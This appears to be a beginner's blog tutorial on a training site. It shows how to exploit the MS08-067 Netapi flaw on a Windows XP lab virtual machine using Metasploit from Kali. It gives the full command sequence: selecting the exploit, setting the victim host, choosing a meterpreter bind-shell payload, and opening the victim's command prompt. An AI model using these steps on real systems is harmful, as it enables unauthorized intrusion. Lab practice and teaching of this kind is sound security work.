Ready to Start Your Career?

Windows XP Netapi Exploitation

GodSpeed s profile image
By: GodSpeed
March 7, 2016
burst-of-light-cybraryIn this article, I'll show you how easily you can exploit a system running Windows XP using the Netapi exploit.Before we start, you might be wondering why you'd exploit an old version of Windows. My answer is: you gotta take baby steps before you can run. Lab Setup:-> A Windows XP virtual machine with SP2/SP3 (I used SP2)->A Kali Virtual machine / standalone system I'll leave finding the host on the network and identifying the services being run up to you.Let's assume you've found the IP address of your victim, which is say and your attacker machine's is at In your terminal on Kali, open up Metasploit:


In here, you'll find: msfconsole, run it (it takes a moment to open) Now we will search the Netapi exploit:

msf>search netapi

You'll be shown a number of results, among which you'll find:


 Copy this and paste as follows:

msf>use exploit/windows/smb/ms08_067_netapi

 Now, you'll get:

msf exploit(ms08_067_netapi)>

 The exploit is chosen and we need to set certain parameters for this exploit:

msf exploit(ms08_067_netapi)> show options

Set up rhost and rport (if not set by default) and set RHOST (the remote host or the victim) as follows:

msf exploit(ms08_067_netapi)> set rhost

port number for the remote host is set 445 by default

 Our exploit is ready, but we need a payload for the exploitation. There are a number of payloads available, which can be searched as follows:

msf exploit(ms08_067_netapi)>search payload

 I've tried bind shell and reverse shell. Here, we'll go with bind shell:

msf exploit(ms08_067_netapi)> set payload windows/meterpreter/bind_tcp

 Just like we set certain parameters for exploit before, we need to do the same here:

msf exploit(ms08_067_netapi)> show options

 Set lport and lhost, which are the port number and IP address of the local machine/attacker machine:

msf exploit(ms08_067_netapi)>set lhost

 We're all set:

msf exploit(ms08_067_netapi)> exploit

 If you've ollowed the steps correctly, you will be presented with a meterpreter prompt. To get the windows cmd, type in the following command:

meterpreter> execute -f cmd.exe -c -H

 A channel will be created in the following output form:

' channel 1 created'

meterpreter> interact 1

You'll ave the cmd of the victim!! While choosing the exploit, you can use: >show target  to know which OS's are vulnerable to this exploit.The exploitation could have been done with:

windows/shell_bind_tcp but i went for the meterpreter command.

 Read about meterpreter to know why. Here are a few links that you may find useful: If you just started in exploitations, there may be a lot of doubts, so do connect with me.
Schedule Demo
Build your Cybersecurity or IT Career
Accelerate in your role, earn new certifications, and develop cutting-edge skills using the fastest growing catalog in the industry